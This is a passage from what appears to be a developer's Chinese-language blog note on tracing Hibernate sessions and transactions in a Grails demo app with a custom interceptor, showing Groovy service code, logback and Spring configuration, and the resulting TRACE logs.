org.springframework.validation.beanvalidation.LocalValidatorFactoryBean$1 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via user class loader 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator\u0026#39;s class loader 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing \u0026#39;getPersistenceUtil\u0026#39;. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.208 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ParameterNameProvider of type org.springframework.validation.beanvalidation.LocalValidatorFactoryBean$1 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via user class loader 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator\u0026#39;s class loader 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing \u0026#39;getPersistenceUtil\u0026#39;. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.896 TRACE --- [ restartedMain] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:26:45.907 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.stat.spi.StatisticsImplementor] 2024-04-16 15:26:45.909 DEBUG --- [ restartedMain] o.h.stat.internal.StatisticsInitiator : Statistics initialized [enabled=false] 2024-04-16 15:26:45.910 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.jmx.spi.JmxService] 2024-04-16 15:26:45.911 TRACE --- [ restartedMain] org.hibernate.internal.SessionImpl : Opened Session [0178255a-7349-4891-96f7-249942ea8c47] at timestamp: 1713252405901 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] org.hibernate.internal.SessionImpl : Closing session [0178255a-7349-4891-96f7-249942ea8c47] 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@69fe5689] 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed Grails application running at http://localhost:8080 in environment: development 測試SQL # 執行程式碼片段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /** * 執行 SQL */ List\u0026lt;LinkedHashMap\u0026gt; executeSql(){ log.trace(\u0026#34;execute.executeSql\u0026#34;) List\u0026lt;LinkedHashMap\u0026gt; rs = [] log.trace(\u0026#34;execute.executeSql: before new Sql\u0026#34;) Sql sql = new Sql(dataSource) log.trace(\u0026#34;execute.executeSql: before sql.eachRow\u0026#34;) sql.eachRow(\u0026#34;\u0026#34;\u0026#34; select id ,col1 from test1 \u0026#34;\u0026#34;\u0026#34;){ row -\u0026gt; rs \u0026lt;\u0026lt; [id: row[\u0026#39;id\u0026#39;], col1: row[\u0026#39;col1\u0026#39;]] } log.trace(\u0026#34;execute.executeSql: after sql.eachRow\u0026#34;) return rs } log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 2024-04-16 15:11:35.762 TRACE --- [nio-8080-exec-1] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:11:35.763 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Opened Session [364654d7-2491-407a-8cf8-5e57a1ab6edb] at timestamp: 1713251495762 2024-04-16 15:11:35.806 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : On TransactionImpl creation, JpaCompliance#isJpaTransactionComplianceEnabled == false 2024-04-16 15:11:35.806 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : begin 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to begin transaction via JDBC Connection.setAutoCommit(false) 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction begun via JDBC Connection.setAutoCommit(false) 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionBegin 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterBeginCallback 2024-04-16 15:11:35.808 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql 2024-04-16 15:11:35.808 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: before new Sql 2024-04-16 15:11:35.816 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: before sql.eachRow 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: after sql.eachRow 2024-04-16 15:11:35.829 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : committing 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#beforeCompletionCallback 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#beforeTransactionCompletion() 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Automatically flushing session 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : beforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#beforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsBeforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to commit transaction via JDBC Connection.commit() 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction committed via JDBC Connection.commit() 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : re-enabling auto-commit on JDBC Connection after completion of JDBC-based transaction 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#afterTransaction 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterCompletionCallback(true) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsAfterTransactionCompletion(3) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#afterTransactionCompletion(successful=true, delayed=false) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionCompletion 2024-04-16 15:11:35.830 DEBUG --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Disconnecting session 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Closing session [364654d7-2491-407a-8cf8-5e57a1ab6edb] 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@3352ce59] 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed 用 domain save # 執行程式碼片段 1 2 3 4 5 6 7 8 9 10 11 12 13 /** * domain insert */ void insert() { log.trace(\u0026#34;execute.insert\u0026#34;) log.trace(\u0026#34;execute.insert: before new Domain\u0026#34;) Test1 test1 = new Test1(col1: 123) log.trace(\u0026#34;execute.insert: before save\u0026#34;) test1.save() log.trace(\u0026#34;execute.insert: after save\u0026#34;) } log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 2024-04-16 15:13:16.854 TRACE --- [nio-8080-exec-1] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:13:16.854 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Opened Session [c7a181bd-ee5c-4085-9031-99bb058a333a] at timestamp: 1713251596854 2024-04-16 15:13:16.882 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : On TransactionImpl creation, JpaCompliance#isJpaTransactionComplianceEnabled == false 2024-04-16 15:13:16.882 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : begin 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to begin transaction via JDBC Connection.setAutoCommit(false) 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction begun via JDBC Connection.setAutoCommit(false) 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionBegin 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterBeginCallback 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: before new Domain 2024-04-16 15:13:16.980 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: before save 2024-04-16 15:13:16.989 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : isTransient 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] o.hibernate.event.internal.EntityState : Transient instance of: work.pollochang.Test1 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] o.h.e.i.DefaultSaveOrUpdateEventListener : Saving transient instance 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.992 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractSaveEventListener : Saving [work.pollochang.Test1#\u0026lt;null\u0026gt;] 2024-04-16 15:13:16.994 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : onDelete 2024-04-16 15:13:16.995 DEBUG --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : Parameter value from request: null 2024-04-16 15:13:16.995 DEBUG --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : user IP = 127.0.0.1 2024-04-16 15:13:16.995 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : executeDummySQL 2024-04-16 15:13:16.997 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Adding an EntityIdentityInsertAction for [work.pollochang.Test1] object 2024-04-16 15:13:16.997 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing inserts before finding non-nullable transient entities for early insert: [EntityIdentityInsertAction[work.pollochang.Test1#\u0026lt;null\u0026gt;]] 2024-04-16 15:13:16.998 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Adding insert with no non-nullable, transient entities: [EntityIdentityInsertAction[work.pollochang.Test1#\u0026lt;null\u0026gt;]] 2024-04-16 15:13:16.998 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing insertions before resolved early-insert 2024-04-16 15:13:16.998 DEBUG --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing identity-insert immediately 2024-04-16 15:13:17.008 TRACE --- [nio-8080-exec-1] o.h.p.entity.AbstractEntityPersister : Inserting entity: work.pollochang.Test1 (native id) 2024-04-16 15:13:17.008 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : onPrepareStatement 2024-04-16 15:13:17.009 DEBUG --- [nio-8080-exec-1] org.hibernate.SQL : insert into test1 (col1) values (?) Hibernate: insert into test1 (col1) values (?) 2024-04-16 15:13:17.012 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Registering statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (?) RETURNING *]] 2024-04-16 15:13:17.012 TRACE --- [nio-8080-exec-1] o.h.p.entity.AbstractEntityPersister : Dehydrating entity: [work.pollochang.Test1#\u0026lt;null\u0026gt;] 2024-04-16 15:13:17.013 TRACE --- [nio-8080-exec-1] o.h.type.descriptor.sql.BasicBinder : binding parameter [1] as [INTEGER] - [123] 2024-04-16 15:13:17.015 DEBUG --- [nio-8080-exec-1] o.h.id.IdentifierGeneratorHelper : Natively generated identity: 39 2024-04-16 15:13:17.015 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing result set [org.postgresql.jdbc.PgResultSet@1e9b68d2] 2024-04-16 15:13:17.015 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Closing result set [org.postgresql.jdbc.PgResultSet@1e9b68d2] 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (123) RETURNING *]] 2024-04-16 15:13:17.016 DEBUG --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : HHH000387: ResultSet\u0026#39;s statement was not registered 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Closing prepared statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (123) RETURNING *]] 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Starting after statement execution processing [ON_CLOSE] 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: after save 2024-04-16 15:13:17.017 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : committing 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#beforeCompletionCallback 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#beforeTransactionCompletion() 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Automatically flushing session 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushing session 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : preFlush 2024-04-16 15:13:17.017 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Processing flush-time cascades 2024-04-16 15:13:17.018 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Dirty checking collections 2024-04-16 15:13:17.018 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushing entities and processing referenced collections 2024-04-16 15:13:17.019 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Processing unreferenced collections 2024-04-16 15:13:17.019 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Scheduling collection removes/(re)creates/updates 2024-04-16 15:13:17.019 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushed: 0 insertions, 0 updates, 0 deletions to 1 objects 2024-04-16 15:13:17.019 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections 2024-04-16 15:13:17.020 DEBUG --- [nio-8080-exec-1] o.hibernate.internal.util.EntityPrinter : Listing entities: 2024-04-16 15:13:17.020 DEBUG --- [nio-8080-exec-1] o.hibernate.internal.util.EntityPrinter : work.pollochang.Test1{id=39, col1=123} 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Executing flush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Starting after statement execution processing [ON_CLOSE] 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Post flush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : postFlush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : beforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#beforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsBeforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to commit transaction via JDBC Connection.commit() 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction committed via JDBC Connection.commit() 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : re-enabling auto-commit on JDBC Connection after completion of JDBC-based transaction 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#afterTransaction 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterCompletionCallback(true) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsAfterTransactionCompletion(3) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#afterTransactionCompletion(successful=true, delayed=false) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionCompletion 2024-04-16 15:13:17.024 DEBUG --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Disconnecting session 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Closing session [c7a181bd-ee5c-4085-9031-99bb058a333a] 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@13a84fe1] 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed ","date":"April 16, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240416-2/","section":"Worknots","summary":" 注入: conf/spring/resources.groovy 1 2 3 4 5 6 7 8 package spring import work.pollochang.pollo.grails.db.aop.CustomInterceptor // Place your Spring DSL code here beans = { customInterceptor(CustomInterceptor) } 設定 log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cconfiguration\u003e \u003cconversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\" /\u003e \u003cconversionRule conversionWord=\"wex\" converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\" /\u003e \u003cappender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\"\u003e \u003cencoder\u003e \u003ccharset\u003eUTF-8\u003c/charset\u003e \u003cpattern\u003e%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(%5p) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n%wex\u003c/pattern\u003e \u003c/encoder\u003e \u003c/appender\u003e \u003clogger name=\"org.hibernate\" level=\"trace\" /\u003e \u003clogger name=\"work.pollochang.demo\" level=\"trace\" /\u003e \u003clogger name=\"work.pollochang.pollo.grails.db.aop\" level=\"trace\" /\u003e \u003croot level=\"error\"\u003e \u003cappender-ref ref=\"STDOUT\" /\u003e \u003c/root\u003e \u003c/configuration\u003e 系統初始化 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 /usr/local/lib/jvm/jdk-17.0.8.1+1/bin/java -XX:+TieredCompilation 